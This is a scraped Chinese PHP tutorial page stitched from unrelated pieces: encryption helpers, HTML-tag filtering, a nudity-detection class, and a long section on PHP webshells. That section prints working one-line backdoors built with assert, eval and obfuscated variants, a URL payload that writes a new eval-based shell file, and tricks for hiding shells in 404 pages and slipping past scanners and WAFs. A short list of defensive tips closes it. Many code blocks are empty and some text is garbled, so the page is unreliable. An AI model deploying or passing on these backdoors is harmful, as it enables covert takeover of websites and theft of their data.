PHP中加密解密函数与DES加密解密
例子,php加密解密的例子
代码如下 | 复制代码 |
加密函数
解密代码如下: /* 辅助函数: /* 使用如下所示 $str='作者:www.111cn.net'; echo '原文:',$str."<br><hr>"; |
DES加密解密函数
代码如下 | 复制代码 |
<?php 以下是测试结果: $str = '12345678'; $key = '1234abcd'; echo $str.' <=> '.$mstr; |
例子2
代码如下 | 复制代码 |
|
例子,使用strip_tags()函数过滤所有html
代码如下 | 复制代码 |
$str = '<a href="#">href</a>'; 输出结果为 <a href="#">href</a> href |
上面函数有一个问题就是包括html标签,img标签都过滤掉了,如果我们希望保留图片怎么办
在网上找到一个函数
代码如下 | 复制代码 |
function uh($str) |
这样就可以过滤指定标签了,上面方法还不会我们可参考下面办法
代码如下 | 复制代码 |
<br>$str=preg_replace("/\s+/", " ", $str); //过滤多余回车 <br>$str=preg_replace("/<[ ]+/si","<",$str); //过滤<__("<"号后面带空格) <br><br>$str=preg_replace("/<\!--.*?-->/si","",$str); //注释 <br>$str=preg_replace("/<(\!.*?)>/si","",$str); //过滤DOCTYPE <br>$str=preg_replace("/<(\/?html.*?)>/si","",$str); //过滤html标签 <br>$str=preg_replace("/<(\/?head.*?)>/si","",$str); //过滤head标签 <br>$str=preg_replace("/<(\/?meta.*?)>/si","",$str); //过滤meta标签 <br>$str=preg_replace("/<(\/?body.*?)>/si","",$str); //过滤body标签 <br>$str=preg_replace("/<(\/?link.*?)>/si","",$str); //过滤link标签 <br>$str=preg_replace("/<(\/?form.*?)>/si","",$str); //过滤form标签 <br>$str=preg_replace("/cookie/si","COOKIE",$str); //过滤COOKIE标签 <br><br>$str=preg_replace("/<(applet.*?)>(.*?)<(\/applet.*?)>/si","",$str); //过滤applet标签 <br>$str=preg_replace("/<(\/?applet.*?)>/si","",$str); //过滤applet标签 <br><br>$str=preg_replace("/<(style.*?)>(.*?)<(\/style.*?)>/si","",$str); //过滤style标签 <br>$str=preg_replace("/<(\/?style.*?)>/si","",$str); //过滤style标签 <br><br>$str=preg_replace("/<(title.*?)>(.*?)<(\/title.*?)>/si","",$str); //过滤title标签 <br>$str=preg_replace("/<(\/?title.*?)>/si","",$str); //过滤title标签 <br><br>$str=preg_replace("/<(object.*?)>(.*?)<(\/object.*?)>/si","",$str); //过滤object标签 <br>$str=preg_replace("/<(\/?objec.*?)>/si","",$str); //过滤object标签 <br><br>$str=preg_replace("/<(noframes.*?)>(.*?)<(\/noframes.*?)>/si","",$str); //过滤noframes标签 <br>$str=preg_replace("/<(\/?noframes.*?)>/si","",$str); //过滤noframes标签 <br><br>$str=preg_replace("/<(i?frame.*?)>(.*?)<(\/i?frame.*?)>/si","",$str); //过滤frame标签 <br>$str=preg_replace("/<(\/?i?frame.*?)>/si","",$str); //过滤frame标签 <br><br>$str=preg_replace("/<(script.*?)>(.*?)<(\/script.*?)>/si","",$str); //过滤script标签 <br>$str=preg_replace("/<(\/?script.*?)>/si","",$str); //过滤script标签 <br>$str=preg_replace("/javascript/si","Javascript",$str); //过滤script标签 <br>$str=preg_replace("/vbscript/si","Vbscript",$str); //过滤script标签 <br>$str=preg_replace("/on([a-z]+)\s*=/si","On\\1=",$str); //过滤script标签 <br>$str=preg_replace("/&#/si","&#",$str); //过滤script标签,如javAsCript:alert( <br> |
如果只要过滤过滤html标签,js代码,css样式标签
代码如下 | 复制代码 |
|
这样即可了哦。
在这份教程中,我们将会学习到如何阻止用户通过上传不雅图片了,这个测试了一下只有一点作用,但人家真的要做了估计也没有办法了,下面来给大家介绍解决办法吧.
下载:http://www.rrpowered.com/code/RRPowered-NudityFilter.zip
我在phpclasses.org上面偶然发现一个很有用的,由Bakr Alsharif开发的可以帮助开发者基于皮肤像素点来检测图片的类文件.
它会分析在一张图片的不同部分使用的颜色,并决定其是否匹配人类皮肤颜色的色调.
作为分析的结果,他会返回一个反映图片包含xx露的可能性的分值.
此外,他还可以输出被分析的图片,上面对使用给定颜色的肤色的像素进行了标记.
当前它可以对PNG,GIF和JPEG图片进行分析.
PHP
下面展示了如何使用这个PHP类.
让我们先从包含过滤器,nf.php文件开始.
代码如下 | 复制代码 |
include('nf.php'); |
接下来,创建一个新的名叫ImageFilter的类,然后把它放到一个叫做$filter的变量中.
代码如下 | 复制代码 |
$filter = new ImageFilter; |
获取图片的分值并将其放到一个$score变量中.
代码如下 | 复制代码 |
|
如果图片分值大于或等于60%,那就展示一条(告警)消息.
代码如下 | 复制代码 |
if($score >= 60){ |
下面是所有的PHP代码:
代码如下 | 复制代码 |
<?php /*Include the Nudity Filter file*/ include ('nf.php'); /*Create a new class called $filter*/ $filter = new ImageFilter; /*Get the score of the image*/ $score = $filter -> GetScore($_FILES['img']['tmp_name']); /*If the $score variable is set*/ if (isset($score)) { /*If the image contains nudity, display image score and message. Score value if more than 60%, it is considered an adult image.*/ if ($score >= 60) { echo "Image scored " . $score . "%, It seems that you have uploaded a nude picture."; /*If the image doesn't contain nudity*/ } else if ($score < 0) { echo "Congratulations, you have uploaded an non-nude image."; } } ?> |
标记语言
我们可以使用一个基础的HTML表单上传图片.
代码如下 | 复制代码 |
<form method="post" enctype="multipart/form-data" action="<?php echo $SERVER['PHP_SELF'];?> "> |
总结
请记得,PHP不能够检测所有的图片,所以不完全可信.我希望你觉得这还有点用处.
网站的安全漏洞对于网站来讲是一个非常严重的问题了,如果安全没有做好我们网站数据都有可能给爆或删除,下面我来给大家整理一个关于网站安全漏洞问题分析,以一个网站为例子吧。
代码如下 | 复制代码 |
1.80.76.136 - - [22/Feb/2014:16:01:26 +0800] "GET /css_edit/css.php HTTP/1.1" 200 45841 1.80.76.136 - - [22/Feb/2014:16:01:43 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45969 1.80.76.136 - - [22/Feb/2014:16:03:30 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45943 1.80.76.136 - - [22/Feb/2014:16:06:43 +0800] "POST /css_edit/css.php HTTP/1.1" 200 45958 1.80.76.136 - - [22/Feb/2014:16:06:47 +0800] "GET /css_edit/css.php HTTP/1.1" 200 45841 1.80.76.136 - - [22/Feb/2014:16:09:41 +0800] "GET /css_edit/css.php HTTP/1.1" 404 214 1.80.76.136 - - [22/Feb/2014:19:17:11 +0800] "GET /css_edit/css-bak/css.php HTTP/1.1" 500 - 1.80.76.136 - - [22/Feb/2014:19:17:44 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 458 1.80.76.136 - - [22/Feb/2014:19:17:50 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 3463 222.90.106.49 - - [27/Feb/2014:19:55:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 3297 222.90.106.49 - - [27/Feb/2014:19:55:25 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 115 222.90.106.49 - - [27/Feb/2014:19:55:27 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 734 222.90.106.49 - - [27/Feb/2014:19:55:42 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 1370 222.90.106.49 - - [27/Feb/2014:19:55:54 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 4123 222.90.106.49 - - [27/Feb/2014:19:56:07 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 4187 222.90.106.49 - - [27/Feb/2014:19:56:15 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 996 222.90.106.49 - - [27/Feb/2014:19:56:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 1088 222.90.106.49 - - [27/Feb/2014:19:56:25 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 830 222.90.106.49 - - [27/Feb/2014:19:56:51 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 33488 222.90.106.49 - - [27/Feb/2014:19:57:11 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 226 222.90.106.49 - - [27/Feb/2014:19:57:12 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 73 222.90.106.49 - - [27/Feb/2014:19:57:17 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 273 222.90.106.49 - - [27/Feb/2014:19:57:20 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 73 1.86.179.21 - - [03/Mar/2014:13:26:43 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 47454 1.86.179.21 - - [03/Mar/2014:13:27:08 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 43 1.86.179.21 - - [03/Mar/2014:13:27:21 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 7 1.86.179.21 - - [03/Mar/2014:13:27:21 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:27:38 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:28:57 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:29:02 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 500 161 1.86.179.21 - - [03/Mar/2014:13:30:28 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:32 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:35 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 - 1.86.179.21 - - [03/Mar/2014:13:30:47 +0800] "POST /css_edit/css-bak/css.php?2=assert HTTP/1.1" 200 6 |
利用404页面隐藏PHP小马
代码如下 | 复制代码 |
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> |
404页面是网站常用的文件,一般建议好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。
无特征隐藏PHP一句话
代码如下 | 复制代码 |
<?php |
将$_POST['code']的内容赋值给$_SESSION['theCode'],然后执行$_SESSION['theCode'],亮点是没有特征码。用扫描工具来检查代码的话,是不会报警的,达到目的了。
超级隐蔽的PHP后门
代码如下 | 复制代码 |
<?php $_GET[a]($_GET[b]);?> |
仅用GET函数就构成了木马;
利用方法:
代码如下 | 复制代码 |
?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w% 29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; |
执行后当前目录生成c.php一句话木马,当传参a为eval时会报错木马生成失败,为assert时同样报错,但会生成木马,真可谓不可小视,简简单单的一句话,被延伸到这般应用。
层级请求,编码运行PHP后门
此方法用两个文件实现,文件1
代码如下 | 复制代码 |
<?php |
文件2
代码如下 | 复制代码 |
<?php |
通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码,来达到后门的效果,一般waf对referer这些检测要松一点,或者没有检测。用这个思路bypass waf不错。
PHP后门生成工具weevely
weevely是一款针对PHP的webshell的自由软件,可用于模拟一个类似于telnet的连接shell,weevely通常用于web 程序的漏洞利用,隐藏后门或者使用类似telnet的方式来代替web 页面式的管理,weevely生成的服务器端php代码是经过了base64编码的,所以可以骗过主流的杀毒软件和IDS,上传服务器端代码后通常可以通 过weevely直接运行。
weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密结合字符串变形技术,后门中所使用的函数均是常用的字符串处理函 数,被作为检查规则的eval,system等函数都不会直接出现在代码中,从而可以致使后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具 进行扫描,结果显示该文件无任何威胁。
以上是大概介绍下边是截图,相关使用方法亦家就不在这介绍了,简单的科普一下。
PHP一句话生成工具
三个变形的一句话PHP木马
第一个
代码如下 | 复制代码 |
<?php ($_=@$_GET[2]).@$_($_POST[1])?> |
在菜刀里写http://site/1.php?2=assert密码是1
第二个
代码如下 | 复制代码 |
<?php |
在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。
如果你用菜刀的附加数据的话更隐蔽,或者用其它注射工具也可以,因为是post提交的。
第三个
代码如下 | 复制代码 |
($b4dboy = $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add'); str_rot13(‘riny’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血! 这个其实在2007年的时候作者GaRY就爆出了,只是后边没人关注,这个利用关键点在于一句话: AddType application/x-httpd-php .htaccess |
toby57解析加密一句话木马
此段后门使用方法会与其它方法不太一样,具体看下面
代码如下 | 复制代码 |
Client: <?php Server: <?php |
对服务端与客户端指令对比,如一致则执行后门指令。
几个President分享的PHP一句话
代码如下 | 复制代码 |
<?php $a = str_replace(x,"","axsxxsxexrxxt");$a($_POST["sz"]); ?> <?php $lang = (string)key($_POST);$lang($_POST['sz']); ?> <?php $k="ass"."ert"; $k(${"_PO"."ST"} ['sz']);?> <?php $a = "a"."s"."s"."e"."r"."t"; $a($_POST["sz"]); ?> <?php |
最后列几个高级的PHP一句话木马后门
代码如下 | 复制代码 |
1、 |
一款萎缩的动态生成远端大马后门
Webshell代码如下:
代码如下 | 复制代码 |
<?php |
其实这款后门在某地,还有Tools上先前已经被破,但没有被拿出来公开分析分享,而今天看到360卫士对该SHELL进行了公开分析……,在360公开后,作者blackbin也进行了小幅更新,新版本不在使用高危函数例如 preg_replace e修饰符同时php5.5已经去掉e 不再使用 eval 不在使用assert采用新的匿名方式回调。
代码如下:
代码如下 | 复制代码 |
<?php |
关于这款后门的使用方法,首先要有远端大马,然后后门页其实是一个404伪装页,需要按键盘p键,就会显示登录页,关于此后门的最新代码方法可访问上边作者页获取!
综上,这些PHP一句话后门可谓五脏俱全,一不小心您肯定中招了,而我们今天这篇文章的重中之重在哪呢?重点就在下边的总结!
如何应对PHP一句话后门
我们强调几个关键点,看这文章的你相信不是门外汉,我也就不??铝耍?/p>
对PHP程序编写要有安全意识
服务器日志文件要经常看,经常备份
对每个站点进行严格的权限分配
对动态文件及目录经常批量安全审查
学会如何进行手工杀毒《即行为判断查杀》
时刻关注,或渗入活跃的网络安全营地
对服务器环境层级化处理,哪怕一个函数也可做规则
当管理的站点多了,数据量大时,我们应合理应用一些辅助工具,但不应完全依赖这些工具,技术是时刻在更新进步的,最为重要的是你应学会和理解,编写这些强悍后门的人所处思维,角色上的换位可为你带来更大的进步。
相关文章
- eval函数在php中是一个函数并不是系统组件函数,我们在php.ini中的disable_functions是无法禁止它的,因这他不是一个php_function哦。 eval()针对php安全来说具有很...2016-11-25
- 在php中eval是一个函数并且不能直接禁用了,但eval函数又相当的危险了经常会出现一些问题了,今天我们就一起来看看eval函数对数组的操作 例子, <?php $data="array...2016-11-25
Python astype(np.float)函数使用方法解析
这篇文章主要介绍了Python astype(np.float)函数使用方法解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下...2020-06-08- 有时为了网站安全和版权问题,会对自己写的php源码进行加密,在php加密技术上最常用的是zend公司的zend guard 加密软件,现在我们来图文讲解一下。 下面就简单说说如何...2016-11-25
- 这篇文章主要介绍了Python中的imread()函数用法说明,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2021-03-16
- 本文主要介绍了C# 中取绝对值的函数。具有很好的参考价值。下面跟着小编一起来看下吧...2020-06-25
- 下面小编就为大家带来一篇C#学习笔记- 随机函数Random()的用法详解。小编觉得挺不错的,现在就分享给大家,也给大家做个参考。一起跟随小编过来看看吧...2020-06-25
- CREATE FUNCTION ChangeBigSmall (@ChangeMoney money) RETURNS VarChar(100) AS BEGIN Declare @String1 char(20) Declare @String2 char...2016-11-25
- 这篇文章主要介绍了C++中Sort函数详细解析,sort函数是algorithm库下的一个函数,sort函数是不稳定的,即大小相同的元素在排序后相对顺序可能发生改变...2022-08-18
Android开发中findViewById()函数用法与简化
findViewById方法在android开发中是获取页面控件的值了,有没有发现我们一个页面控件多了会反复研究写findViewById呢,下面我们一起来看它的简化方法。 Android中Fin...2016-09-20- 这篇文章主要介绍了vue接口请求加密实例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧...2020-08-12
- strstr() 函数搜索一个字符串在另一个字符串中的第一次出现。该函数返回字符串的其余部分(从匹配点)。如果未找到所搜索的字符串,则返回 false。语法:strstr(string,search)参数string,必需。规定被搜索的字符串。 参数sea...2013-10-04
PHP函数分享之curl方式取得数据、模拟登陆、POST数据
废话不多说直接上代码复制代码 代码如下:/********************** curl 系列 ***********************///直接通过curl方式取得数据(包含POST、HEADER等)/* * $url: 如果非数组,则为http;如是数组,则为https * $header:...2014-06-07- Foreach 函数(PHP4/PHP5)foreach 语法结构提供了遍历数组的简单方式。foreach 仅能够应用于数组和对象,如果尝试应用于其他数据类型的变量,或者未初始化的变量将发出错误信息。...2013-09-28
- free函数是释放之前某一次malloc函数申请的空间,而且只是释放空间,并不改变指针的值。下面我们就来详细探讨下...2020-04-25
- 关于AES加密的算法我们就不说了,这里主要给各位演示了三个关于AES算法实现的加密例子,希望本文章能给你带来帮助。 话不多说,先放上代码,一共有两个文件:AES.php(aes算...2016-11-25
- 这次文章要给大家介绍的是node.JS md5加密中文与php结果不一致怎么办,不知道具体解决办法的下面跟小编一起来看看。 因项目需要,需要Node.js与PHP做接口调用,发现nod...2017-07-06
- PHP 函数 strip_tags 提供了从字符串中去除 HTML 和 PHP 标记的功能,该函数尝试返回给定的字符串 str 去除空字符、HTML 和 PHP 标记后的结果。由于 strip_tags() 无法实际验证 HTML,不完整或者破损标签将导致更多的数...2014-05-31
- 分享一个PHP加密解密的函数,此函数实现了对部分变量值的加密的功能。 加密代码如下: /* *功能:对字符串进行加密处理 *参数一:需要加密的内容 *参数二:密钥 */ function passport_encrypt($str,$key){ //加密函数 srand(...2015-10-30
SQL Server中row_number函数的常见用法示例详解
这篇文章主要给大家介绍了关于SQL Server中row_number函数的常见用法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小编来一起学习学习吧...2020-12-08